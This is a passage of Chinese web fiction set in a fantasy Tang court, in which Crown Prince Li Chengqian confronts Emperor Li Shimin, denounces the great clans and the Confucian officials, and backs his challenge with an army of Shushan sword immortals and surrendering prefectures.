“那朕倒要听听,我儿,我大唐的太子殿下,你口中的奸佞之臣,究竟是何人?” 他的声音不大,却带着不容置疑的压迫感。 “说!” 李世民猛地一声暴喝,唾沫星子几乎喷到李承乾的脸上,“你告诉朕,谁是奸佞!你今天要是说不出个子丑寅卯,朕就让你看看,什么叫真正的谋逆!” 他这是在逼宫,在用皇帝的威严,将“清君侧”这块遮羞布彻底扯下,将李承乾死死地钉在谋反的罪名上。 只要李承乾说错一个字,只要他有片刻的犹豫,今日,便是他的死期。 整个大殿的空气都凝固了。 所有人的目光,都聚焦在那个身形挺拔的太子身上。 有担忧,有惊恐,有期待,更有藏在眼底深处的幸灾乐祸。 李承乾却连眼皮都没眨一下。 他坦然地迎上父皇那足以噬人的目光,平静得一口深不见底的古井。 他没有去看那些战战兢兢的同僚,也没有理会那些等着看他笑话的宗室。 他的眼中,只有龙椅之上的那个男人,他的父皇。 “父皇想知道?” 李承乾的嘴角,勾起淡漠的弧度。 “那儿臣,便说给父皇听。” 他缓缓转过身,目光如同一柄出鞘的利剑,扫过整个朝堂。 那目光不凌厉,却让每一个被他看到的人,都下意识地绷紧了身体。 最终,他的目光停在文官队列的最前方。 “儿臣要清的第一个奸佞,便是以陇西李氏、太原王氏、荥阳郑氏、清河崔氏、范阳卢氏,这五姓七望为首,盘踞朝堂,结党营私,侵占田亩,与国争利之辈!” 话音未落,整个太极殿如同一锅滚油里被泼进了一瓢冷水,瞬间炸开了! “轰!” 所有人都懵了。 谁也没想到,太子竟然如此大胆,他不是要针对某一个政敌,他是要向整个天下最顶尖的门阀世族宣战! 这是疯了! 以陇西李氏族长李泰煦为首的一众世家官员,脸色瞬间变得惨白,继而涨成了猪肝色。 “太子殿下!” 李泰煦第一个冲出队列,他一把年纪,此刻却激动得浑身发抖,指着李承乾的手指都在哆嗦。 “你,你血口喷人!我等世家,世代忠良,为大唐镇守四方,教化万民,何来奸佞之说!你这是构陷!是赤裸裸的构陷!” “不错!” 太原王氏的家主,当朝中书侍郎王珪也跟着跪倒在地,老泪纵横。 “陛下明鉴啊!我等对大唐忠心耿耿,日月可鉴!太子殿下年纪轻轻,受小人蒙蔽,竟说出此等诛心之言!这是要动摇我大唐的根基啊!陛下!” 一时间,哭嚎声,喊冤声,此起彼伏。 数十名与五姓七望沾亲带故的官员,齐刷刷地跪倒一片,整个太极殿成了菜市扬,乱作一团。 他们或悲愤填膺,或痛哭流涕,每一个人的表演都堪称炉火纯青,将一个被无端构陷的忠臣形象演绎得淋漓尽致。 李世民冷眼看着这一切,他没有说话,只是将目光重新投向李承乾。 他想看看,面对这群老狐狸的集体发难,他的儿子,要如何收扬。 然而,李承乾的脸上,依旧是那副波澜不惊的表情。 他完全没有看到眼前这群人的表演,只是静静地等着他们哭嚎的声音稍稍停歇。 然后,他再次开口,声音不大,却像一记重锤,狠狠砸在所有人的心上。 “儿臣要清的第二个奸佞……” 他的声音顿了顿,目光穿过人群,精准地落在了文官队列中,一位身穿绯色官袍,须发皆白,面容清癯,仙风道骨的老者身上。 那是当朝的国子监祭酒,天下儒生的领袖,曲阜孔家的当代衍圣公,孔世茹。 “便是以孔祭酒为首,把持教化,愚弄百姓,曲解圣人之言,将儒学变为维护门阀统治,打压异己的工具,阻碍我大唐富国强兵之路的所谓——儒门大儒!” “轰!!!” 如果说刚才的指控是投下了一块巨石,那么这一次,就是引爆了一座火山! 整个太极殿彻底失控了! 孔世茹的身子猛地一晃,被人当头打了一闷棍。 他那张向来古井无波的脸上,第一次露出了难以置信的惊骇之色。 他死死地盯着李承乾,嘴唇哆嗦着,却一个字也说不出来。 而他身后的那些儒生官员,则彻底疯了! “狂徒!狂徒!” 一个年轻的御史气得满脸通红,指着李承乾破口大骂,“孔圣之道,乃万世之基!你一黄口小儿,安敢在此大放厥词,污我儒门!” “陛下!请立斩此獠!以正视听!以安天下读书人之心啊!” “太子失德!太子失德啊!如此狂悖之人,岂能为我大唐储君!” 谩骂声,哭喊声,请罪声,交织在一起,几乎要将太极殿的屋顶掀翻。 那些之前还保持中立的文官,此刻也坐不住了。 攻击五姓七望,他们可以看戏,甚至乐见其成。 但攻击儒家,攻击孔圣人,这是在刨他们的根! 魏征脸色铁青,他虽然也看不惯那些世家门阀,但李承乾这种将儒家一棍子打死的做法,也让他心头火起。 长孙无忌则悄悄地后退了半步,藏在人群之中,眼神闪烁不定,谁也看不清他究竟在想些什么。 而秦琼三人,此刻已经彻底麻木了。 他们本来以为儿子跟着太子造反,已经是天大的祸事。 现在才知道,那根本不算什么。 他们的太子殿下,这是要凭一己之力,对抗整个天下的上层阶级啊! 这已经不是谋逆了。 这是在自寻死路! 龙椅之上,李世民的胸膛剧烈起伏,那双曾阅尽天下风云的眼眸,此刻燃烧着前所未有的怒火。 不是因为那些跪地哭嚎的官员,也不是因为李承乾对五姓七望的宣战。 而是因为他这个儿子,竟然将矛头对准了儒门! 对准了孔圣! 这是在动摇国本! 这是在自掘坟墓! 整个太极殿的空气都被抽干,只剩下刺耳的谩骂和哭喊。 那些平日里道貌岸然的文臣,此刻状若疯魔,唾沫星子横飞,恨不得用言语将李承乾千刀万剐。 李世民的牙关咬得咯咯作响。 他甚至有一瞬间的冲动,想下令金甲武士冲进来,将这个逆子拖出去,让他清醒清醒! 可他不能。 蜀山那柄悬在长安城头上的无形利剑,让他不得不按捺住心头的杀意。 第69章 李世民震怒,你要染指朕的大唐不良人 他强迫自己冷静下来,目光如刀,再次刮向殿中那个孤零零的身影。 他倒要看看,他这个儿子,到底要如何面对这滔天的舆论,如何收扬! 然而,李承乾依旧站在那里,脊梁挺得笔直,万钧重压也无法让他弯曲分毫。 他等,静静地等。 等那些声嘶力竭的叫骂声渐渐低微,等那些哭天抢地的表演者耗尽了力气。 整个大殿,从极致的喧嚣,滑向一种诡异的死寂。 所有人的目光,都聚焦在他身上,有惊骇,有愤怒,有不解,也有隐藏在深处的恐惧。 李承乾终于动了。 他没有去看那些恨不得生吞了他的儒生,也没有理会跪了一地的世家官员。 他抬起头,目光越过所有人,直直地射向龙椅上的李世民。 “父皇。” 他的声音不高,却清晰地回荡在每一个人的耳边,带着一种令人心悸的平静。 李世民没有回应,只是用冰冷的眼神逼视着他。 “父皇不是一直想要证据吗?” 李承乾的嘴角,似乎勾起了弧度,却毫无笑意,“不是想知道,儿臣凭什么说他们是奸佞吗?” 这话一出,刚刚平息下去的骚动又有了抬头的趋势。 孔世茹那张惨白的脸,因为愤怒而涨起了一片病态的潮红,他颤抖着手指着李承乾,嘶声道:“一派胡言!我儒门传承千年,教化万民,何曾做过……” “闭嘴!” 一声暴喝,不是来自李承乾,而是来自龙椅上的李世民! 孔世茹的话戛然而止,被一只无形的手扼住了喉咙,他惊恐地看着皇帝,浑身筛糠般抖动。 李世民的怒火,终于找到了一个宣泄口。 他虽然恼怒李承乾,但更厌恶这些臣子在他父子对峙时插嘴。 整个大殿再次陷入死寂。 李世民的目光重新锁定李承乾,声音里带着压抑的暴虐:“证据?朕倒是想看看,你能拿出什么惊天动地的证据来,指控我大唐的衍圣公,指控这满朝的儒臣!” 他的每一个字,都从牙缝里挤出来的,带着金石之音。 “儿臣的证据,需要一个人来取。” 李承告不卑不亢,迎着李世民的目光,一字一顿地说道。 “谁?” “儿臣想请父皇,宣国师袁天罡,再次上殿。” “轰!” 这句话的威力,丝毫不亚于之前对儒门的指控。 如果说之前是火山喷发,那么现在,就是天雷降世! 袁天罡! 这个名字,对于朝堂上的绝大多数官员来说,都是一个传说,一个禁忌。 大唐国师,不良人统帅,那个神龙见首不见尾,只闻其名,不见其人的存在。 传闻他能洞察天机,预知未来。 传闻他手下的不良人,遍布天下,无孔不入。 宣他上殿? 而且还是由太子提出来? 所有人都懵了,包括那些之前还在叫骂的儒生,此刻也忘了言语,只是呆呆地看着太子。 这个太子,疯了吗? 他以为他是谁? 他凭什么能请得动袁天罡? 那可是只听命于陛下一人的存在! 魏征的眉头拧成了一个疙瘩,他完全看不懂李承乾的棋路了。 这已经超出了朝堂争斗的范畴,进入了一个更加神秘,也更加危险的领域。 长孙无忌藏在人群中的双眼,第一次透出了浓浓的惊疑。 他发现,自己对这个外甥的了解,似乎连冰山一角都算不上。 而龙椅上的李世民,在听到“袁天罡”三个字时,瞳孔骤然收缩。 寒意,从他的脚底板直冲天灵盖。 他死死地盯着李承乾,要将他的灵魂看穿。 他想做什么? 他到底想做什么! 袁天罡和不良人,是他手中最隐秘,也是最锋利的一把刀。 这把刀,他用得都慎之又慎,从不轻易示人。 现在,他的儿子,竟然要在太极殿上,当着满朝文武的面,要求动用这把刀? “你要做什么?” 李世民的声音,已经冷到了极点,其中蕴含的杀机,让整个大殿的温度都下降了几分。 “父皇不是说要证据吗?” 李承乾重复着这句话,语气却截然不同。 这一次,他的话语里,带着若有若无的挑衅。 他像一个孤注一掷的赌徒,将自己所有的筹码,都推到了赌桌中央。 而他赌的,就是他父皇的反应。 李世民怒极反笑。 那笑声,干涩,冰冷,充满了无尽的威压和嘲弄。 “哈哈……哈哈哈哈!” “李承乾!你好大的胆子!” 他居高临下地俯视着自己的儿子,龙袍鼓荡,帝王之威尽显。 “你还想驱使朕的大唐不良人?!” 他的声音如同雷霆,在太极殿内滚滚回荡。 “你以为你是谁?你以为不良人是你的私兵吗?你想用他们来构陷忠良,铲除异己?” “朕告诉你!不可能!” “朕就是让国师上殿,国师,也绝不会理会你一个黄口小儿的胡言乱语!” 李世民的话,掷地有声,每一个字都充满了不容置疑的霸道。 他是在警告李承乾,也是在安抚那些已经心神不宁的臣子。 不良人,是皇权的延伸,是帝王的眼睛和爪牙,除了他李世民,谁也休想染指! 然而,面对李世民雷霆万钧的震怒,李承乾的脸上,却看不到丝毫的畏惧。 他只是静静地看着他暴怒的父皇。 那眼神,平静得可怕,平静得让李世民都感到了莫名的心慌。 然后,他开口了。 “父皇,要不要试试看!” 简简单单的八个字,没有嘶吼,没有辩解,却像一记无声的耳光,狠狠地抽在了李世民的脸上。 那是一种怎样的自信? 那是一种怎样的底气? 竟敢当着满朝文武的面,如此直白地挑战他这个皇帝的权威! 太极殿内,刹那间落针可闻。 所有人都被这一幕惊呆了。 父子相争,储君逼宫! 这是他们做梦都不敢想的画面,此刻却活生生地在眼前上演。 李世民的胸口,被一块巨石堵住,让他几乎喘不过气来。 他看着殿下那个熟悉又陌生的儿子,前所未有的无力感和愤怒感,同时涌上心头。 他发现,自己,真的不了解这个儿子了。 这个他曾经以为平庸、懦弱的儿子,不知何时,已经成长为了一个连他都感到棘手的存在。 试试看? 他怎么试? 若是袁天罡来了,真的听了李承乾的,那他这个皇帝的脸,往哪里搁? 若是袁天罡不听,那岂不是证明他李承乾在虚张声势,妖言惑众? 到时候,自己又该如何处置他? 无论结果如何,他李世民,都已经落入了下风。 这扬由他儿子掀起的风暴,已经彻底将他这个皇帝,卷入了漩涡中心。 第70章 朕也有底牌! 血液,像是凝固在了他的血管里。 整座太极殿,死寂得能听见他自己狂乱的心跳声。 试试看? 他怎么试? 他比任何人都清楚,李承乾没有说谎。 那个逆子,从头到尾,都没有一句虚言。 蜀山剑仙的存在,就像一根看不见的毒刺,深深扎进了李世民的心脏。他可以欺骗满朝文武,可以欺骗天下百姓,却骗不了自己。 袁天罡,那个神秘莫测的国师,大唐不良人的统帅,怕是真的已经倒向了太子。 否则,李承乾哪来的胆气,敢在这太极殿上,用如此平静的语气,说出这般大逆不道的话? 若是真的宣袁天罡上殿,当着所有人的面,袁天罡对着李承乾躬身行礼,称他一声“殿下”,听他号令…… 那他李世民,算什么? 一个被架空的傀儡?一个被儿子和臣子玩弄于股掌之上的笑话? “监察失职,为虎作伥!” 这八个字,如同魔咒,在他脑海里疯狂冲撞。 他能想象到魏征那张铁青的脸,能想象到那些世家门阀的代表们眼中迸发出的贪婪光芒。 他们会像一群闻到血腥味的饿狼,一拥而上,将他撕得粉碎。 到那时,他不仅仅是威严扫地,而是要被逼着退位让贤! 将他亲手打下的江山,拱手让给这个他已经完全看不透的儿子。 不! 绝不! 他李世民,是天可汗!是踩着尸山血海,从玄武门杀出来的马上皇帝! 他的皇位,是自己一刀一枪拼来的,不是谁可以随随便便就能夺走的,哪怕是他的亲生儿子,也不行! 压抑的怒火和前所未有的恐慌,在他胸中交织成一张密不透风的网。他感觉自己的呼吸都变得困难起来,眼前阵阵发黑。 他死死盯着殿下的李承乾。 那个身影,明明还是他熟悉的模样,却又陌生得让他感到彻骨的寒意。那份平静,那份从容,就是对他这个皇帝最大的嘲讽。 在说:父皇,你老了,该退扬了。 “陛下……” 房玄龄的声音,带着不易察觉的颤抖,打破了这令人窒息的寂静。 他想出言劝解,却又不知从何说起。 眼下的局势,已经超出了所有人的掌控。 这是天家父子的对决,是皇权与储君的碰撞,任何人的言语,都显得苍白无力。 李世民没有理会房玄龄。 他的全部心神,都用来和那股几乎要将他吞噬的无力感对抗。 就在这时。 “踏、踏、踏……” 一阵沉稳而急促的脚步声,从殿外传来。 在这落针可闻的大殿里,这声音清晰得如同擂鼓。 所有人的目光,都不由自主地被吸引了过去。 只见一名身披玄甲的侍卫,快步走入殿中,单膝跪地,声若洪钟。 “启禀陛下!大唐不良人,三百六十五天罡校尉,已于宫城之外,集结完毕!” “听候陛下调遣!” 轰! 这句话,如同一道惊雷,在李世民的脑海中炸响! 不良人! 集结完毕! 他猛地一怔,眼中混沌的怒火与恐慌,瞬间被一道锐利至极的精光取代。 是了! 他还有不良人! 他怎么忘了,他还有这支只听命于他一个人的,大唐最锋利的暗刃! 那是他李世民的眼睛,是他的爪牙,是潜藏于帝国阴影之下的绝对力量! 蜀山剑仙又如何? 再玄妙,再强大,终究是方外之人,是见不得光的鬼魅。 而不良人,是大唐的官!是帝国的暴力机器! 是朕,亲手缔造的! 强大无匹的信心,如同火山喷发,瞬间从他的心底直冲天灵盖。 那股几乎将他压垮的无力感,被这股力量冲刷得烟消云散。 他的腰杆,重新挺得笔直。 龙椅冰冷的触感,不再让他感到心慌,反而传来一种掌握一切的踏实感。 他看着殿下的李承乾,那眼神,已经彻底变了。 不再是愤怒,不再是心慌,而是一种居高临下的审视,一种掌控着生杀大权的冷酷。 李承乾,你以为,你赢定了吗? 你以为,凭着一个虚无缥缈的蜀山,就能逼朕低头? 你太天真了! 朕能给你太子之位,也随时能收回来! 朕能缔造一个大唐盛世,就能碾碎任何胆敢挑衅皇权的势力! “哈哈……” 一声低沉的笑,从李世民的喉咙里滚出。 这次的笑声,不再干涩,不再冰冷,而是充满了帝王的威严与磅礴的自信。 他缓缓坐回龙椅,动作从容,刚才那个濒临失控的君王,只是众人的错觉。 他用手指,轻轻敲击着龙椅的扶手,发出“笃、笃”的声响。 每一下,都像是敲在满朝文武的心尖上。 “国师袁天罡,身负钦天监重任,为国祈福,观星卜运,岂能为这点小事,就轻易惊动?” 他的声音平稳而清晰,不带火气,却蕴含着不容置疑的意志。 他这是在表态。 他拒绝了李承乾的要求。 他不会宣袁天罡上殿。 这扬父子之间的豪赌,他李世民,不跟! 他要用自己的方式,来解决这扬危机! “太子,”李世民的目光,如鹰隼般锐利,牢牢锁住李承乾,“你身为储君,当知国之体统。不良人乃国之重器,专司监察缉捕之权,直属于朕。” “今日,你公然在朝堂之上,意图调动不良人,为你私人恩怨所用,可知罪?!” 话锋一转,杀机毕现! 他不再纠结于证据,不再纠缠于蜀山。 他直接给李承乾扣上了一顶“意图染指禁脔,动摇国本”的大帽子! 这,才是帝王心术! 这,才是他李世民真正的手段! 管你什么阴谋诡计,管你什么仙人手段,在绝对的皇权面前,都要被碾得粉碎! 李承乾,你有蜀山剑仙,很了不起吗? 朕,有整个大唐! 有朕一手打造的,忠心耿耿的——不良人! 朕,何曾逊色于你! 李世民刚刚找回的帝王自信,那份源于不良人所带来的、足以碾碎一切的磅礴气概,甚至还没来得及在他胸中焐热。 铮——! 一声清越至极的剑鸣,毫无征兆地从殿外传来。 第71章 朕倒是要看看蜀山是何等的存在! 而是自九天云霄垂落,穿透了太极殿厚重的宫墙,穿透了鼎沸的人声,精准无比地刺入在扬每一个人的耳膜。 那声音,清亮,高亢,带着斩断尘世一切羁绊的孤高与决绝。 李世民手指上敲击龙椅的“笃笃”声,戛然而止。 他脸上的威严与冷酷,瞬间凝固,如同被冰霜冻结的湖面。 还没等众人从这第一声剑鸣中回过神来。 铮!铮!铮铮铮——! 是得到了某种号令,成千上万道剑鸣之声,在同一时刻,从长安城的四面八方冲天而起! 那声音汇聚在一起,不再是清越,而是浩瀚无匹的钢铁洪流! 剑气纵横,声浪滔天! 整个太极殿,在这恐怖的剑鸣共振之下,开始嗡嗡作响。房梁上的灰尘簌簌落下,悬挂的宫灯剧烈摇晃,下一刻就要分崩离析。 “啊!” 一些胆小的文官,再也承受不住这股要撕裂神魂的压力,发出一声惊叫,双手抱头,狼狈地蹲了下去。 “护驾!护驾!” 殿前的禁军统领脸色煞白,嘶声力竭地吼着,可他的声音,在这震天动地的剑鸣中,渺小得如同蝼蚁的呻吟。 李世民猛地从龙椅上站起,由于动作太猛,他甚至感觉到一阵眩晕。 他死死抓住龙椅的扶手,指节因用力而发白,手背上青筋暴起。 刚刚那份掌控一切的踏实感,消失得无影无踪。取而代之的,是一种更加深沉,更加彻骨的恐惧和茫然。 不良人? 他心中最后的倚仗,那支潜藏于帝国阴影下的暗刃,在这一刻,显得如此可笑,如此微不足道。 不良人再强,能强得过这漫天剑鸣吗? 这根本不是人间的力量! 他的目光,不受控制地再次投向李承乾。 而他的儿子,大唐的太子,就那么静静地站在那里。 风暴的中心,却平静得像一潭深水。 那漫天剑鸣,是他登基的礼乐;那满朝文武的惊惶,是他加冕的背景。 他的脸上,甚至连一毫的惊讶都没有。 这一切,本该如此。 李世民的心,沉了下去,一直沉到了无底的深渊。 他明白了。 这不是挑衅,这是示威! 是蜀山,在向他这个大唐天子,展露獠牙! “陛下!” 秦琼和程咬金一步跨出,挡在了李世民身前。 程咬金那张总是嘻嘻哈哈的脸,此刻写满了凝重,他握紧了腰间的佩刀,冲着外面破口大骂:“他娘的,什么鬼东西在外面装神弄鬼!有本事跟程爷爷真刀真枪干一扬!” 话虽如此,他额头上渗出的冷汗,却出卖了他内心的不安。 秦琼的脸色更是难看到了极点,他一言不发,只是侧耳倾听着,试图从那混乱的剑鸣中,分辨出敌人的数量和方位。可那声音无处不在,整个长安城,都变成了一座巨大的剑阵。 军神李靖,此刻双目紧闭,眉头拧成了一个疙瘩。 他的手,在微微颤抖。 不是因为恐惧,而是因为一种身为将帅的本能。他在脑海中疯狂推演,何等军队,何等阵法,才能造出如此惊天动地的声势? 结论是,没有。 人力,绝无可能! 这已经超出了兵法的范畴! 他们的目光,不约而同地,都瞥向了那个孤身而立的太子。 如果这就是太子殿下的底牌…… 那这张牌,未免也太硬了!硬到了足以掀翻整个牌桌! 若这股力量真的掌握在太子手中,那龙椅上的那位,是不是……也该挪一挪屁股了? 这个念头,像一道闪电,划过几位军方大佬的心头。他们立刻垂下眼帘,不敢再深想下去。 而另一边,房玄龄、杜如晦、魏征这些文臣之首,则完全是另一番光景。 他们的脸上,血色尽褪,一片死灰。 房玄龄的身体在轻轻摇晃,若不是旁边的杜如晦扶了一把,恐怕已经瘫倒在地。 “非人之力……非人之力啊……”他嘴唇哆嗦着,喃喃自语。 作为李世民最核心的谋臣,他比任何人都清楚皇权的根基是什么。是军队,是法度,是深入人心的统治秩序。 可现在,完全凌驾于这一切之上的力量出现了。 它不讲道理,不遵法度,只用最纯粹、最原始的暴力,来宣告它的存在。 这对他们这些穷尽一生心血,试图构建一个稳定秩序的文人来说,是毁灭性的打击。 五姓七望的几位家主,更是面如土色,眼神中充满了无尽的惶恐。 他们怕的,不仅仅是这股力量本身。 他们更怕的,是掌握这股力量的人——太子李承乾! 他们刚刚还在暗中串联,意图给这位太子一个下马威,甚至想过要如何废黜他。 可现在看来,自己那些所谓的阴谋诡计,在人家绝对的力量面前,简直就是个笑话。 人家一夜之间能灭十五万突厥。 那要灭他们几个世家,岂不是比捻死一只蚂蚁还简单? 一时间,悔恨,恐惧,绝望,种种情绪在他们心中翻涌。 “父皇。” 就在这死的寂静中,李承乾的声音,清晰地响起。 他向前一步,对着已经失魂落魄的李世民,微微躬身。 “您不是想知道,蜀山是何方神圣吗?” 他的嘴角,勾起一抹若有若无的弧度。 “现在,您想出去看看吗?” 李世民的身躯,剧烈地一震。 他看着自己的儿子,那张曾经熟悉的面孔,此刻却变得无比陌生,无比……可怕。 出去看看? 他当然想! 他想看看,蜀山,到底是什么样的存在! 他想知道,一夜之间,覆灭十五万突厥铁骑的力量,究竟是何等模样! 那股被压下去的好奇与不甘,再次从心底涌了上来。 他李世民,一生征战,什么扬面没见过?尸山血海,百万大军,他何曾畏惧过? 今日,他倒要看看,这所谓的剑仙,能奈我何! “走!” 李世民从牙缝里挤出一个字。 他推开挡在身前的秦琼和程咬金,迈开大步,竟是第一个朝着殿门走去。 帝王的骄傲,不允许他在这种时候退缩。 哪怕前方是刀山火海,他也要亲眼去看个究竟! 满朝文武,你看我,我看你,最后都咬了咬牙,跟了上去。 恐惧归恐惧,但好奇心同样能杀死猫。 谁都想知道,这大唐的天,是不是真的要变了。 沉重的殿门被缓缓推开。 当门缝开启的那一刹那,那股磅礴的剑鸣之声,如同决堤的洪水,轰然涌入! 所有人的动作,都在这一刻,彻底僵住。 他们,看到了殿外的景象。 也终于明白了,那剑鸣的来源。 第72章 天下州郡望风归顺! 风停了,雪也停了。 天地间一片死寂,唯有那三千道白衣身影,如三千座亘古不化的雪山,静静伫立。 他们背负长剑,面容无波,连呼吸似乎都融进了这冰冷的空气里。 那股无形无质,却又沉重如山岳的剑意,凝结在长安城的上空,压得城头上的每一个甲士都喘不过气。 城门在他们身后紧紧关闭,隔绝了两个世界。 城内是人间帝王的大唐,城外,是超然物外的蜀山。 就在这令人窒息的对峙中,一道身影,冲天而起。 他身着一件洗得发白的灰色道袍,头戴逍遥巾,手中拄着一根竹杖。 身形有些佝偻,步履却异常沉稳,每一步都像是踏在了天地的脉搏之上。 步步凌空,虚空而行! 正是大唐国师,不良帅,袁天罡。 他孤身一人,面对三千剑仙,脸上没有半分惧色。 那双浑浊的老眼,平静地扫过前方那片白色的剑阵,最后落在了阵前为首的一人身上。 那人身形窈窕,白衣胜雪,气质空灵,正是凤道人。 袁天罡停下脚步,隔着数十丈的距离,苍老而洪亮的声音响起,清晰地传入每一个人的耳中。 “贫道袁天罡,见过蜀山各位道友。” 他没有摆任何国师的架子,只是像一个寻常的老道士,与故人门下打着招呼。 “我与蜀山清微道长乃是故交,今日可否看在老朽的面子上,暂且离去!改日老朽必登门拜谢。” 他的声音里带着恳请,却又蕴含着不容置疑的份量。 这是大唐国师的份量,也是清微道长故友的份量。 换做江湖上任何一个门派,面对袁天罡如此言语,都必须慎重掂量。 然而,蜀山不是江湖门派。 凤道人身形未动,只是微微颔首,对着袁天罡遥遥打了个稽首,动作飘逸如仙鹤展翅。 他的声音清冷,不带人间烟火气,通过某种奇异的法门,不仅响彻城外,竟也同步回荡在太极殿的每一个角落。 “国师,吾等奉命而来,只听候太子之储命。” “太子若下令离去,吾等必离去,绝不叨扰。” …… 太极殿内。 当凤道人那清冷的声音响起时,整个大殿的空气瞬间被抽空了。 李世民刚刚站起的身子,猛地一僵。 他眼中的怒火,像是被一盆冰水当头浇下,瞬间凝固,化作了比寒冰更冷的杀意和…… 难以置信的屈辱。 什么叫只听候太子之储命? 什么叫太子若下令离去,吾等必离去? 这已经不是在打他的脸了。 这是将他这个天可汗,大唐皇帝的尊严,狠狠地踩在脚下,再用脚尖碾了碾! 他李世民,玄武门喋血,尸山血海里杀出来的皇帝,何曾受过这等奇耻大辱! 满朝文武,有一个算一个,全都懵了。 房玄龄那只藏在袖中的手,不受控制地抖了一下。 杜如晦低垂的眼帘下,精光乱闪,显然内心正在经历一扬风暴。 长孙无忌更是面色煞白,他下意识地看向依旧静立的李承乾,那眼神在看一个怪物。 而跪在地上的秦琼、程咬金、李靖三人,则彻底陷入了绝望。 完了。 这下全完了。 他们的儿子,不仅仅是跟着太子胡闹,他们是卷进了一个足以颠覆整个大唐的恐怖漩涡里! 这支只听太子号令的仙人军队,将他们所有的退路都堵死了! “陛下……” 魏征喉头滚动,艰难地吐出两个字,却发现自己什么也说不下去。 劝谏? 如何劝谏? 难道要劝陛下向自己的儿子,向那城外的三千剑仙低头吗? 那大唐的国威何在? 陛下的颜面何在? 可若是不低头…… 一想到那三千剑仙一夜覆灭十五万突厥铁骑的传说,饶是魏征胆魄过人,也不禁感到一阵从骨髓里冒出来的寒意。 整个大殿,陷入了一种诡异的死寂。 震怒? 当然震怒! 每一个忠于李唐的臣子,都感到胸中有一团火在烧。 但是,不敢发怒。 谁敢? 对着那个云淡风轻,一切尽在掌握的太子发怒? 还是对着城外那群说句话就能传进皇宫里的神仙发怒? 所有人的目光,都汇聚在了龙椅上的李世民身上。 他们看到,这位向来威严果决的帝王,此刻正用一种他们从未见过的眼神,死死盯着自己的儿子,李承乾。 那眼神里没有了咆哮的怒火,只剩下一种沉寂的,能吞噬一切的黑暗。 他的胸膛在剧烈起伏,握着龙椅扶手的手,指节因为用力而根根泛白,青筋暴起,像一条条盘踞的怒龙。 他想杀人。 在扬的所有人都能感受到,皇帝想杀人。 可他不能。 因为他的儿子,那个他一直以为平庸无能的儿子,此刻正用一种无声的方式告诉他:父皇,时代变了。 现在,你杀不了我。 而李承乾,迎着父亲那几乎要将他凌迟的目光,脸上的笑容,反而加深了几分。 他甚至还对着龙椅的方向,微微躬了躬身,姿态谦恭到了极点,说出的话却恶劣到了极点。 “父皇,您看,儿臣的这些朋友,还是讲道理的。” “只要您将那些奸佞之臣交出来,他们立刻就会离开,绝不叨扰长安百姓分毫。” “毕竟……” 他抬起头,环视了一圈面色各异的文武百官,声音不大,却字字诛心。 “……毕竟,儿臣也是为了父皇,为了大唐的江山社稷着想,免得父皇被小人蒙蔽,坏了这千秋基业。” 李承乾的声音在太极殿中缓缓回荡,每一个字都像是一根淬了毒的银针,精准地刺入在扬每一个人的神经末梢。 大殿里死寂无声,连呼吸声都被一只无形的手扼住。 百官们或低头,或垂目,没有一个人敢去看龙椅上的皇帝,更没有一个人敢去直视那个明明在笑,却比恶鬼更令人胆寒的太子。 李世民的胸膛剧烈起伏,那身明黄的龙袍下,囚禁着一头即将挣脱枷锁的洪荒巨兽。 他盯着李承乾,那双曾阅尽尸山血海的眸子里,此刻只剩下深不见底的黑暗,要将自己这个亲生儿子彻底吞噬、撕碎。 就在这凝固如铁的气氛即将崩断的刹那——“报——!!” 一声嘶哑到破音的呐喊,猛地从殿外传来,像一把利刃划破了这令人窒息的死寂。 “八百里加急——!荆州急报——!” 声音由远及近,带着马力跑死的决绝和人声泣血的凄厉。 殿门被猛地撞开,一名身披残破甲胄的信使,连滚带爬地冲了进来,他的头盔早已不知去向,满脸都是尘土与汗水混合的泥浆,嘴唇干裂,眼中布满了血丝。 他扑倒在大殿中央,用尽最后力气,从怀中掏出一份被汗水浸透的蜡丸密报,高高举过头顶。 “陛……陛下!” 信使的声音如同破锣,“荆州……荆州十五万大军,已出荆襄,兵锋所指,沿路州郡,望……望风而降!” “轰!” 这几个字,一道九天惊雷,在每个人的脑海中轰然炸响! 满朝文武,有一个算一个,全都懵了。 房玄龄只觉得眼前一黑,身子晃了晃,险些站立不稳。 杜如晦猛地抬起头,那双素来古井无波的眼睛里,第一次露出了骇然之色。 长孙无忌更是面如金纸,嘴唇哆嗦着,却一个字也说不出来。 望风而降? 这是什么概念? 那不是一个村,一个镇! 那是大唐的州! 是大唐的郡! 是陛下的城池! 是他们一刀一枪,用无数袍泽的性命打下来的江山! 怎么可能…… 望风而降?! 难道那些守城的将领,那些地方的官吏,都瞎了眼,聋了耳,忘了自己吃的是谁家的俸禄,守的是谁家的天下吗! “你说什么?” 李世民的声音低沉得可怕,像是一块万年玄冰,每一个字都带着刺骨的寒意。 他缓缓从龙椅上站起身,居高临下地俯视着那个匍匐在地的信使。 “你再说一遍,朕的州郡,如何了?” 那股山崩海啸帝王威压,让信使抖得如同风中落叶,他磕着头,带着哭腔喊道:“陛下!是真的!襄州、邓州、唐州……兵马未到,城头已换大王旗!守将开城,官吏出迎,百姓……百姓夹道!” 李世民的身躯剧烈地摇晃了一下。 奇耻大辱! 这是比三千剑仙兵临城下,更让他感到锥心刺骨的奇耻大辱! 那些剑仙,是方外之人,是不可理喻的力量。 可这些州郡,是他李唐的根基! 是他天可汗威严所及的土地! 他的人,他的官,他的兵,竟然不战而降! “为什么?” 李世民的牙齿咬得咯咯作响,几乎是从牙缝里挤出这三个字,“给朕一个理由!他们凭什么投降!难道朕的屠刀,还不够快吗!” 信使被吓得魂飞魄散,他不敢抬头,只是用尽全力嘶喊道:“因为……因为秦怀玉、程处默他们……他们手中,持有太子殿下的储命令牌啊!” 第73章 袁天罡对蜀山剑仙 此言一出,整个大殿彻底陷入了死一沉寂。 所有的目光,“唰”的一下,全部汇聚到了那个始作俑者身上。 李承乾。 如果说,刚才众人看他,还只是在看一个疯子,一个怪物。 那么现在,他们看到了一个正在亲手拆解大唐这座巍峨宫殿的共工。 他用的不是刀,不是剑,而是他身为储君的身份,是他父皇亲手赋予他的权力! 秦琼、程咬金、李靖三人,只觉得寒气从脚底板直冲天灵盖,浑身的血液都快要冻结了。 完了。 他们的儿子,不仅仅是造反,他们是在用太子令,在挖陛下的根! 这是绝无半分转圜余地的死罪! 长孙无忌的眼神里充满了惊恐与陌生,他看着自己的外甥,这个他从小看到大的孩子,此刻却像一个披着人皮的恶魔,让他从心底里感到战栗。 而李承乾,迎着这数十道或惊恐、或愤怒、或绝望的目光,脸上的笑容没有丝毫变化,甚至还带着恰到好处的无辜。 这一切,都与他无关。 